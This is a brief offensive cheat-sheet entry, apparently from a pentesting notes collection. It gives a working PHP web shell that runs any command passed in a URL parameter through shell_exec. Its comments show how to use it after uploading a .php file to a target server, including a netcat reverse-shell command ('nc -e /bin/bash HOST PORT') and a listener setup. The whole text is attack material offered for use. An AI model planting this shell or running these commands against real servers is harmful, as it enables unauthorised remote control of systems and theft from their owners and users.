PHP Shell

#When ure able to upload .php files to a webserver, u can use this for example to spawn a reverse shell on your target system

#"http://target/exec.php?cmd=uname -r" will return the actual running kernel version
#"http://target/exec.php?cmd=nc -e /bin/bash HOST PORT" will spawn a reverse shell (open a listener on your system with nc -lvvp PORT)

<?php
$cmd = $_GET["cmd"];
$out = shell_exec($cmd);
echo "<pre>$out</pre>";
?>